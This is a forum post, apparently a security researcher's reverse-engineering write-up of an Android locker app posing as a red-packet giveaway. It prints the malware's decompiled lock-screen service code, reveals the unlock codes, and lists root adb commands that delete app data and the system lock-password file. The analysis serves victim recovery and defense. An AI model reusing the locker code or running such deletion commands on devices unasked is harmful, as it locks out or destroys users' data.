吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 21748|回复: 46
上一主题 下一主题
收起左侧

[移动样本分析] 对锁机APP"秒领20元红包"的逆向分析

  [复制链接]
跳转到指定楼层
楼主
wnagzihxain 发表于 2016-7-17 23:50 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 wnagzihxain 于 2016-7-23 15:35 编辑

这个样本和昨天的样本基本一样,不过有些地方有改动,改的也很有意思

昨天侧重样本的代码分析,今天侧重如何解决

报告名称:对锁机APP"秒领20元红包"的逆向分析                  
作者:wnagzihxain                                                  
报告更新日期:2016.7.17
样本发现日期:不详                                 
样本类型:锁机                                       
样本文件大小/被感染文件变化长度:   
样本文件MD5 校验值:              
样本文件SHA1 校验值:           
壳信息:无                                                
可能受到威胁的系统:安卓                 
相关漏洞:无                                            

已知检测名称:无

一个有点意思也有点脑残的锁机,安装完后如图


打开后会要求激活



点击激活立刻锁屏,然而并不能找到解锁序列码,输入框以及按钮



这就是有点意思的地方

然后来看代码,上Jeb,MainActivity里隐式意图启动激活设备管理器,刚刚也看到了



来看重写的设备管理器的方法

激活后会触发onEnable()方法,启动s.class,并且设置锁屏PIN码为8985



来看com.h.s
[Java] 纯文本查看 复制代码
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
package com.h;
  
import android.app.Application;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences$Editor;
import android.media.MediaPlayer;
import android.net.NetworkInfo;
import android.os.IBinder;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View$OnClickListener;
import android.view.WindowManager;
import android.view.WindowManager$LayoutParams;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
  
public class LockScreen extends Service {
    class 100000000 extends Thread {
        private final LockScreen this$0;
  
        100000000(LockScreen arg6) {
            super();
            LockScreen.this = arg6;
        }
  
        static LockScreen access$0(100000000 arg4) {
            return arg4.this$0;
        }
  
        public void run() {
        }
    }
  
    class buttonListener implements View$OnClickListener {
        private final LockScreen this$0;
  
        buttonListener(LockScreen arg6) {
            super();
            LockScreen.this = arg6;
        }
  
        static LockScreen access$0(buttonListener arg4) {
            return arg4.this$0;
        }
  
        @Override public void onClick(View arg10) {
            buttonListener buttonListener_this = this;
            buttonListener s$1000000011 = buttonListener_this;
            try {
                if(!s$1000000011.this$0.edittext.getText().toString().equals(buttonListener_this.this$0
                        .du.decrypt(buttonListener_this.this$0.sharedpreferences.getString("passw",
                        "")))) {
                    return;
                }
  
                buttonListener_this.this$0.mWindowManager.removeView(buttonListener_this.this$0.mFloatLayout);
                buttonListener_this.this$0.stopSelf();
            }
            catch(Exception exception0) {
            }
        }
    }
  
    Button button;
    DU du;
    EditText edittext;
    SharedPreferences$Editor editor;
    private View mFloatLayout;
    private WindowManager mWindowManager;
    long pass;
    Long passw;
    String password;
    String ppss;
    SharedPreferences sharedpreferences;
    TextView textview;
    private WindowManager$LayoutParams wmParams;
  
    public LockScreen() {
        super();
    }
  
    static WindowManager access$L1000001(LockScreen arg4) {
        return arg4.mWindowManager;
    }
  
    static View access$L1000002(LockScreen arg4) {
        return arg4.mFloatLayout;
    }
  
    static void access$S1000001(LockScreen arg6, WindowManager arg7) {
        arg6.mWindowManager = arg7;
    }
  
    static void access$S1000002(LockScreen arg6, View arg7) {
        arg6.mFloatLayout = arg7;
    }
  
    private void c() {
        LockScreen LockScreen_this = this;
        LockScreen_this.wmParams = new WindowManager$LayoutParams();
        Application application0 = LockScreen_this.getApplication();
        LockScreen_this.getApplication();
        LockScreen_this.mWindowManager = application0.getSystemService(Context.WINDOW_SERVICE);
        LockScreen_this.wmParams.type = 2010;
        LockScreen_this.wmParams.format = 1;
        LockScreen_this.wmParams.flags = 1280;
        LockScreen_this.wmParams.gravity = 49;
        LockScreen_this.wmParams.x = 0;
        LockScreen_this.wmParams.y = 0;
        LockScreen_this.wmParams.width = -1;
        LockScreen_this.wmParams.height = -1;
        LockScreen_this.mFloatLayout = LayoutInflater.from(LockScreen_this.getApplication()).inflate(
                2130903041, null);
        MediaPlayer mediaPlayer0 = MediaPlayer.create(LockScreen_this, 2131099648);
        mediaPlayer0.setLooping(true);
        mediaPlayer0.start();
        LockScreen_this.mWindowManager.addView(LockScreen_this.mFloatLayout, LockScreen_this.wmParams);
        LockScreen_this.button = LockScreen_this.mFloatLayout.findViewById(2131361794);
        LockScreen_this.edittext = LockScreen_this.mFloatLayout.findViewById(2131361793);
        LockScreen_this.textview = LockScreen_this.mFloatLayout.findViewById(2131361792);
        LockScreen LockScreen_this = LockScreen_this;
        try {
            LockScreen_this.edittext.setHint(LockScreen_this.du.decrypt("jj一点解锁"));
            LockScreen_this.textview.append(LockScreen_this.du.decrypt("你的嫖娼号"));
        }
        catch(Exception exception0) {
        }
  
        LockScreen_this.button.setOnClickListener(new buttonListener(LockScreen_this));
        LockScreen_this = LockScreen_this;
        try {
            LockScreen_this.textview.append(new StringBuffer().append("\n").append(LockScreen_this.du
                    .decrypt("jj挫折")).toString());
            LockScreen_this.textview.append(new StringBuffer().append(new StringBuffer().append("\n")
                    .append(LockScreen_this.du.decrypt("嫖娼号")).toString()).append(LockScreen_this.sharedpreferences
                    .getLong("m", ((long)0))).toString());
        }
        catch(Exception exception0) {
        }
    }
  
    public boolean is(Context arg8) {
        boolean bool;
        Context context0 = arg8;
        if(context0 != null) {
            NetworkInfo networkInfo0 = context0.getSystemService("connectivity").getActiveNetworkInfo();
            if(networkInfo0 != null) {
                bool = networkInfo0.isAvailable();
            }
            else {
                goto label_17;
            }
        }
        else {
        label_17:
            bool = false;
        }
  
        return bool;
    }
  
    @Override public IBinder onBind(Intent arg5) {
        return null;
    }
  
    @Override public void onCreate() {
        LockScreen LockScreen_this = this;
        super.onCreate();
        LockScreen_this.pass = ((long)(Math.random() * (((double)0))));
        LockScreen_this.passw = new Long(LockScreen_this.pass + (((long)10086)));
        LockScreen_this.du = new DU("des");
        LockScreen LockScreen_this = LockScreen_this;
        try {
            LockScreen_this.du = new DU(LockScreen_this.du.decrypt("78d30a56e58aa1de"));
        }
        catch(Exception exception0) {
        }
  
        LockScreen_this.sharedpreferences = LockScreen_this.getSharedPreferences("Flowers", 0);
        LockScreen_this.editor = LockScreen_this.sharedpreferences.edit();
        LockScreen_this.getApplication().getSystemService("vibrator").vibrate(new long[]{((long)100), ((
                long)1500), ((long)100), ((long)1500)}, 0);
        if(LockScreen_this.sharedpreferences.getLong("m", ((long)0)) == (((long)0))) {
            LockScreen_this.editor.putLong("m", LockScreen_this.pass);
            LockScreen_this.editor.commit();
            LockScreen_this = LockScreen_this;
            try {
                LockScreen_this.editor.putString("passw", LockScreen_this.du.encrypt(new StringBuffer()
                        .append("").append(LockScreen_this.passw).toString()));
                LockScreen_this.editor.commit();
            }
            catch(Exception exception0) {
            }
  
            if(LockScreen_this.is(LockScreen_this.getApplicationContext())) {
                LockScreen_this.ppss = new StringBuffer().append(LockScreen_this.sharedpreferences.getLong(
                        "m", ((long)8))).append("").toString();
                LockScreen_this = LockScreen_this;
                LockScreen LockScreen_this = LockScreen_this;
                try {
                    LockScreen_this.password = LockScreen_this.du.decrypt(LockScreen_this.sharedpreferences
                            .getString("passw", ""));
                }
                catch(Exception exception0) {
                }
  
                new 100000000(LockScreen_this).start();
                return;
            }
  
            LockScreen_this = LockScreen_this;
            try {
                LockScreen_this.editor.putLong("m", Long.parseLong(LockScreen_this.du.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));
                LockScreen_this.editor.commit();
                LockScreen_this.editor.putString("passw", "2f5f3cf33e866794f4f01661bc09771ddf29c0be98ac17bc");
                LockScreen_this.editor.commit();
            }
            catch(Exception exception0) {
            }
        }
    }
  
    @Override public void onStart(Intent arg8, int arg9) {
        super.onStart(arg8, arg9);
        this.c();
    }
}
这是一个Server,Server在第一次启动会执行onCreate(),然后执行onStartCommand(),在以后的启动中只会执行onStartCommand()


这两个值会加密并且存入sharedpreferences文件,对应的键分别为m和passw



所以这样咋一看,锁屏界面没有锁屏序列码,而且序列码加密写进了sharedpreferences文件,虽然知道了解锁密码的计算方法,想要弄出序列号并解密还是比较折腾的

但是仔细看看生成锁屏序列码的代码,后面是乘0,所以这个随机数是0,解锁密码就是10086

这就是脑残的地方

知道了解锁密码,然后就要找到输入框和按钮了

当然也有可能没有输入框和按钮,想要知道有没有输入框和按钮,只要找代码里有没有button的Listener方法就行




是有的,当然要找有没有这些控件不仅仅只限于在这里找button的Listener方法,还可以找xml里面有没有EditText和Button的标签,还可以找代码里有没有定义这些控件

因为反编译不能直接把对应的id标出来,所以需要自己找一下



进入Jeb的R,这三个对应的控件id,bt,ed,tv,这三个id名就是xml里的id名



找到xml,并且找到对应的id

但是重点在于et和bt,et的宽高非常小,大概在中间的位置



而button,背景用的是image_2.png

来看看这张图片是什么



所以那张二维码就是一个button


刚刚那个EditText的位置有些同学可能不是很清楚在哪里,我有个办法,下次遇到这种东西,直接建立一个工程,把资源文件全部拷贝进去,看到在哪了吗?



好了,目前位置,我们找出了解锁密码,输入框和按钮,来解锁吧

输入10086,成功进入界面

接下来进行删除,因为激活了设备管理器,所以需要先取消激活

但是取消激活的时候会锁屏

来看对应的代码,取消激活的时候会锁屏,锁屏密码是8985


所以输入8985就可以解开了,然后就可以愉快的卸载了

但是我们的分析不能到这里就结束,在最开头说这是一个有点意思也有点脑残的锁机样本,但是下次如果作者在生成序列号的时候不是乘0呢?

那么解锁密码就是randomNumber+10086

但是锁机序列号加密写进了sharedpreferences文件,我们只有分析出解密算法才能得到解锁密码

从代码可以看出来,这是DES加密,加密的密钥也被加密了,不过这个加密密钥的密钥是"des"




写代码解密也可以,就是太费劲了,直接插桩Toast出解锁密码,插桩的位置放button的Listener那里就可以了,那里会把最终的解锁密码解密跟输入的进行对比

加密后的解锁密码



当然除了算解锁密码之外,还有一种办法

首先数据线连接电脑和手机,cmd执行
[Shell] 纯文本查看 复制代码
1
$ adb shell
然后删除com.h-1.apk,名字可以进入这个目录自己确定,可能会不同
[Shell] 纯文本查看 复制代码
1
root@android: #/ rm data/app/com.h-1.apk
然后删除data/data下的com.h
[Shell] 纯文本查看 复制代码
1
root@android:/ # rm -rf data/data/com.h
最后清除锁屏密码
[Shell] 纯文本查看 复制代码
1
root@android:/ # rm data/system/password.key
上面都执行成功的话,重启就行了

最后:下次想用什么“神器”,“利器”,“秒赞”,“免流”。。。。。。的时候,先在模拟器里安装一下
不定期的会录制一些视频分享调试的一些心得:移动恶意APP分析的心得分享


点评

嗯嗯,不错的。子贤所有安卓逆向我都收藏了。可惜跟子贤不同行,什么也看不懂。。呵呵  发表于 2016-7-18 08:43
我发现了LZ图片内的扣扣  发表于 2016-7-18 01:36

免费评分

参与人数 27威望 +2 热心值 +27 收起 理由
zhengyg + 1 谢谢@Thanks!
弑神灬虎爷 + 1 我很赞同!
喵喵孩纸气 + 1 谢谢@Thanks!
HonDmOon + 1 用心讨论,共获提升!
卷卷de小白 + 1 谢谢@Thanks!
zfzzqlx + 1 热心回复!
Hmily + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Daemon + 1 简直厉害
52HLW + 1 我很赞同!
youyudewo99 + 1 用心讨论,共获提升!
teny + 1 我很赞同!
interv + 1 热心回复!
yuan3718 + 1 我很赞同!
wuyasos + 1 支持 支持 在支持!~
KaQqi + 1 子贤的教程我都收藏了。
乐钓户外 + 1 膜拜大神
forfly + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
why9931 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
z530649222 + 1 谢谢@Thanks!
x747676010 + 1 谢谢@Thanks!
爱已微笑 + 1 热心回复!
黑色守望 + 1 大神,有没有整蛊的移动APP
byec + 1 我很赞同!
lies2014 + 1 谢谢@Thanks!
火灾快走 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
z136067466 + 1 膜拜
Flunky + 1 吾爱破解论坛因你更精彩!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
 楼主| wnagzihxain 发表于 2016-7-25 10:51 |楼主
Gordon0918 发表于 2016-7-25 10:45
话说大神可不可以分享下样本呢

我分析使用的样本全部来自论坛的病毒救援区
推荐
 楼主| wnagzihxain 发表于 2016-7-18 11:17 |楼主
zhangD 发表于 2016-7-18 08:41
这个溜溜溜。。。。啊哈哈,学习一下 分析分析,请问这个是什么加密。。。。

写了阿,DES
沙发
Flunky 发表于 2016-7-17 23:56
3#
2585281523 发表于 2016-7-18 00:00
大神论坛有你更安全  辛苦了  谢谢
4#
isun 发表于 2016-7-18 00:01
分析nb,大神好赞~!
5#
sherry5566 发表于 2016-7-18 00:04
分析nb,大神好赞~!
6#
mochongli 发表于 2016-7-18 00:13
可以的。。。。。。。。。。。。。。。。。。。。。。。。
7#
ppszxc 发表于 2016-7-18 00:17
厉害呀,佩服,现在锁屏都这么高级了
8#
城儿 发表于 2016-7-18 00:22
学习了 {:1_912:}大神
9#
mzljh812 发表于 2016-7-18 00:58
对锁机APP"秒领20元红包"的逆向分析         
10#
samvon 发表于 2016-7-18 01:08
学到了~~谢谢
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-12 08:52

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表